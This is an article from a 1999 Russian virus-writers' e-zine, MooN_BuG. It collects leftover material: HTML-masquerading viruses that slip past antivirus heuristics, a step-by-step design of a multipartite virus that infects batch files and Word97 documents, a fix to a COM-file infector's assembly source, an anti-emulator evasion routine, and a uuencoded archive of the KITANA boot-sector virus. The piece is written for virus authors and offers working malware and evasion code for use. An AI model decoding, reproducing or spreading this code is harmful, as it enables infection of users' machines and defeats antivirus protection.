[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999 file 014
В продолжении разговора...
by RedArc
Здесь мне бы хотелось представить ту информацию, которая по разным
причинам не вошла в предыдущие номера.
░▒▓█ 1 █▓▒░
В продолжении темы "Чужой заголовок" предлагаю посмотреть на следующее
чудо: вирусы иммитирующие HTML-файлы. Так как AVP пытается разбираться с
форматом файла, то ни в одном из представленных здесь вирусов он ничего
подозрительного не находит... попросту - обламывается. DrWeb for DOS видимо
с форматом интернетовских файлов не очень знаком, поэтому он старается
эмулировать файлы действительно как COM-программы. Но вырубание его
эвристики по чтению из порта 40h остается в силе, что мы и наблюдаем в вирусе
html_3.
Кстати, антивирус MScan ничем не отличается по уровню эвристики от AVP...
то есть здесь он ничего подозрительного не находит... Ай-яй-яй, Валентин, как
же так?
░▒▓█ 2 █▓▒░
------------------------[ BAT/Word97.MultiNO ]-------------------------
Вот вам мультипартитный вирус, заражающий как BAT-ники, так и DOC-и.
Почему на BAT?... да прикололо меня это дело. BAT-ники вообще штук
интересный (хотя сейчас батники заменяют WinScript'ы), я даже как-то
хотел написать RDA-based вирус на BAT-е ;), но как-то обломало, а вот
мультипартитный написал. Доки я писать не мастер, так что что-бы
избавить вас от чтения всякой херни, посоветую запустить prepare.bat,
после которого в myxa.bat будет дроппер. Запускайте, разбирайтесь...
Кому все-таки охота узнать заранее, что это за хрень, прежде чем жать
<enter> на файле myxa.bat, попробую описать это чудо-юдо.
Кто-то может уже пошел запускать prepare.bat, так что расскажу что же
там будет делаться. Запускается myxa.bat, отрабатывает ее содержимое,
потом запускается то, что находится в файле _plugins.bat (только оно
прилеплено в myxa.bat). Собственно там распаковывается архив, который
прилеплен после прилепленного _plugins.bat. В архиве туева хуча файла с
именем _*.* и один из них _multino.bat - запускается. ( Что это все
запускается и запускается, а ни хрена не делается?... подождите ;)
_multino.bat собирает все свои конечности ( _*.* ) в архив, а потом все
файлы в текущем, родительском, корневом каталогов, а также по %PATH%
заражает - приписывает _plugins.bat и _multino.arj. ( какого хера я все
это пишу - там же все открытым текстом ). Ну а под занавес, пока
_multino.bat еще не кончил... свою работу, он создает winstart.bat в
%windir%. Для чего в winstart.bat - а просто так, чтобы показать, что
туда можно засунуть длительный процесс и это никакой юзер не заметит.
Что же делает winstart.bat - распаковывает сам себя и запускает файл
_makedrp.bat, который:
1) копирует в C:\Progra~1\Micros~1\Office\Startup\ файло _multino.dot
(о нем попозже)
2) делает дроппер, потом создает в debug.exe его дамп (типа такого):
-[ debug.dmp ]---------------------------------------------------------------
-d
1BC7:0100 0D 0A 0D 0A 0D 0A 0D 0A-0D 0A 0D 0A 0D 0A 0D 0A ................
1BC7:0110 0D 0A 0D 0A 0D 0A 0D 0A-0D 0A 0D 0A 0D 0A 0D 0A ................
1BC7:0120 0D 0A 0D 0A 0D 0A 0D 0A-0D 0A 0D 0A 0D 0A 40 65 ..............@e
1BC7:0130 63 68 6F 20 6F 66 66 0D-0A 73 65 74 20 76 3D 25 cho off..set v=%
1BC7:0140 30 0D 0A 69 66 20 6E 6F-74 20 65 78 69 73 74 20 0..if not exist
1BC7:0150 25 76 25 20 73 65 74 20-76 3D 25 76 25 2E 62 61 %v% set v=%v%.ba
1BC7:0160 74 0D 0A 61 72 6A 20 65-20 2D 79 20 25 76 25 3E t..arj e -y %v%>
1BC7:0170 6E 75 6C 0D 0A 63 61 6C-6C 20 5F 6D 75 6C 74 69 nul..call _multi
-q
-----------------------------------------------------------------------------
обкладывает его двумя файлами: _multino.bat и _wordend.bat (соотв-но с
начала и конча) и записывает в c:\logoz.sys.
Т.е logoz.sys является практически готовым макросом, который нужно лишь
импортировать в Word97, чем собственно и занимается _multino.dot.
Только он перед импортом преобразует дамп (смотри выше) во вполне
"приличные" команды:
Print #1, "e0100 0D 0A 0D 0A 0D 0A 0D 0A 0D 0A 0D 0A 0D 0A 0D 0A"
Теперь, при запуке MS-Word97, шаблон документа, лежащий в startup-path,
будет проверять зараженность normal.dot? и в случее его "девственности"
импортировать код макроса из logov.sys (это преобразованный logoz.sys).
Макрос живет, заражает другие документы, а также при своем запуске каж-
дый раз (на деле это нафиг не нужно) создает дроппер ( который заражает
BAT-ники ) и запускает его.
Недостаток этого способа в том, что приходится таскать .dot с собой, но
это не критично для современных вирусов под Win32, где размеры вируса
играют далеко не самую важную роль.
Также в этой реализации вируса нужен arj.exe, лежащие где-то по %PATH%.
Файлы _templat.bas и _multino.nfo таскаются с вирусом "за компанию" (из
_templat.bat получился _multino.dot, _multino.nfo вы сейчас читаете ;-)
Вот собственно и весь изврат.
Rest in Peace. FRiZER // 13.11.98 // mailto:[email protected]
░▒▓█ 3 █▓▒░
К сожалению в исходник закpалась досадная ошибка, из-за котоpой виpyс поpажал
только один (findfirst) файл. Вот подпpавь:
;------------------------------------------------------------------
Copyright db 0,'[B!Z0n //[BzZ]]'
VirName db 0,'[OffsetFinder DEmO viRuS]'
Location db 0,'[Russia, St.Petersburg 1998]',0
;------------------------------------------------------------------
COM_MASK db '*.COM',0
ORIG_START db 0CDh,20h,0
HEADER db 0E9h
;------------------------------------------------------------------
START_VIRUS ENDP
END_VIRUS equ $
;------------------------------------------------------------------
;------------------------------------------------------------------
JMP_OFFSET dw ?
NEW_DTA db 43 dup(?)
;------------------------------------------------------------------
finish:
end MAIN
Метка finish: должна быть в конце, после NEW_DTA
B!Z0n.
░▒▓█ 4 █▓▒░
antiemul trick.
"работает" вроде пока со всеми эмуляторами.
в первой части запрещаем все прерывания, цикл выполняется до 0. Если
неправильно проэмулируют, то cx<>0.
во второй части разрешаем прерывания, и ждем когда кто-нибудь изменит стек;)
cx при этом получится не равен 0.
=== Cut ===
;1
cli
mov bp,sp
xor cx,cx
mov ax,ss:[bp-2]
antiemul1:
cmp ax,ss:[bp-2]
loope antiemul1
sti
xor cs:[si.l2-start],cx ; cx=0
;2
aemul:
mov ax,ss:[bp-2]
antiemul2:
cmp ax,ss:[bp-2]
loope antiemul2
jcxz aemul
xor cs:[si.l3-start],0e9h
jcxz bad_emul ;cx<>0
xor cs:[si.l3-start],0e9h
bad_emul:
=== Cut ===
SINcerely, VVS.
░▒▓█ 5 █▓▒░
Я понял почему Касперский называет KITANA интендед - просто там
практически во всех версиях была бага с шифровкой, т.е. он записывал себя в
MBR в шифрованном варианте, а при старте не расшифровывал - но в последней
версии я это исправил, а Касперский не глядя обозвал его интендед. так что
передай ему, пусть внимательней посмотрит на последнюю версию (см. ниже)
[ Begin "KITAN142.ZIP" ]──────────────────────────────────────────────
begin 644 KITAN142.ZIP
M4$L#!!0``@`(`,,P+2::'\59A@(``/0'```*````2TE404Y!+D%338U5S6^;
M,!2_(_$_^#"I[0(5$-HE5#ED5:=-TR[=I2J*(L!OP2T%%+NKT\/^]&GF*SR*
MDXZ+FV<_O]_'\RMI/\%$!B0DWYF(\NC<]3VR(O&.?+EE]S>WY-1SSAWW?#X_
M,XTNA5&(LO[G4T$A4_?DNSY6>K/+_E>B3G#8]`$NHJUX+JNX:5R1'(`2D3).
MMK#A`?E+0$)`EG<+1WU7Y.>WA>-6?UQ_59$JX\_P4QE/\38@G^\6GZ[101[T
M-05P4:VQM&+9AQ_RUX;4K[6ZPC00AV>>UF!9'XLH;0@P*[$YUN!WPS2SP$Y,
M(T.%9;&MUS#>"5"9*TLA>VPW%^WZ@=C$11+G"7E;.RN*LEY-(T'7ETUT<)1"
MDQY)?&5-G[C3%+-O#JZW(##WCD\D+<=SW'2\0]6.,W-2K0;#]FC"2O=WX21/
M)9(JEBMK=H'1`CF*-GPIME0),8FE/54R+Y<7.+T3-5$P,A=)F$'4L0UC.5$6
M'<")B\HDW;2M4/63QB?E9X44%6IQ-[T6'+SK;0<F?&PWY6.[&_Z4![Y"J^/@
M(35XFG6D+\=2`A^XU?4P919E6LM=W\<\RVZ?QWH#CL6XH*;!0;A3C4:52939
MIV!S6]'\Z)^M<&;!7[1MG,.+.HW?;.=370@;N)=K7EO>9`9CR)%FC+RZ#CI8
M^ZU"P?&GV?F,/:UBT1ALDCZN0<+XR5!I#5YC!P@D$X,W5A9E=%S^A_;*-G7B
M5BJTA0.MN"'P();8A^>XVSNY_W'R'["0O7B2=>%8#AKOO9>!";:3.[-\W;0*
M.9L\VGREG5F)'([Y`WT]FO[>4"9\=O_?@#+;'5;=#PZO(M`J%!QR3CL(&M6)
M<[-45+%9D%/3^`=02P,$%``"``@`PS`M)BBXX,6/````Z@````@```!-04M%
M1DE,15-6B%;PSBQ)S$O4,S0Q4HCEY0*):"1K*K@%94:Y!L%$C`ST#`SU#"TM
M+4$BO%QYB;FI"K8*V6"MO%R)Q;D*0*Z*!DA<4P_(Y>7*3\I"%@-R>;F2\U'4
M`;D@PT#J0?)6O%P*4%`",E$_UPBH%,C2!*E2T0`JU[0"B@"5:B(IS<G,RU;0
M+]&OP)!*2<V!BP$`4$L#!!0``@`(`,,P+2843OI!]P```'`#```+````1DE,
M15])1"Y$25JMT[U.PT`,!_"]4M_!8S+D4RSI!$CM@@121RJ&"^<&J\D=\IFT
MZ6OU`6#(2\##("Y\S2W!FX?[Z>^S_-:O+K$B<[VXN>O'UO-T\@XML5$-P@RN
M2)11\/<Z?'N.]H.7G>50=H)NE-<HC9[QWF))M_/EV'R?GA+OY6F<9G%6%,48
MSPFJ6AZ\U_E)@Z;D<%2^>^X>!?6/M[,,VX2-A@UV(41`!G"'QWNBN$)QWAN>
M!;9%WC()?J6,0)/;P,6QWN&WF8$?%0*G6@3+5)%1]1`N3=(D#T_9!]616.^M
MF?;(YV7I8O2I[%IB?CKQ_U[ZU=SH?[F.OG^=3CX`4$L#!`H``````,,P+2:>
MH/X[C@```(X````*````2TE404Y!+D-/387;=3)6@\80L7Z`-`!&XOI>2,T3
M<Q^X`0*Z@`"*R(O8S1.`/X5T#L=`_56J08T`S1.'\^+XPX?S#A__#A,$S1+!
MX`:.P#/_L9#SI$%!_8=%OJNX60#B]\T90'4!ST@>8.(*@?J``'4C84'K(":+
M!RU-6G47EH??#A_D0(A$#+D0`/.DL7ZD,$7_XOIA'^I02P$"%``4``(`"`##
M,"TFFA_%688"``#T!P``"@`````````!`"``````````2TE404Y!+D%335!+
M`0(4`!0``@`(`,,P+28HN.#%CP```.H````(``````````$`(````*X"``!-
M04M%1DE,15!+`0(4`!0``@`(`,,P+2843OI!]P```'`#```+``````````$`
M(````&,#``!&24Q%7TE$+D1)6E!+`0(4``H``````,,P+2:>H/X[C@```(X`
M```*``````````$`(````(,$``!+251!3D$N0T]-4$L%!@`````$``0`WP``
'`#D%````````
`
end
[ End "KITAN142.ZIP" ]────────────────────────────────────────────────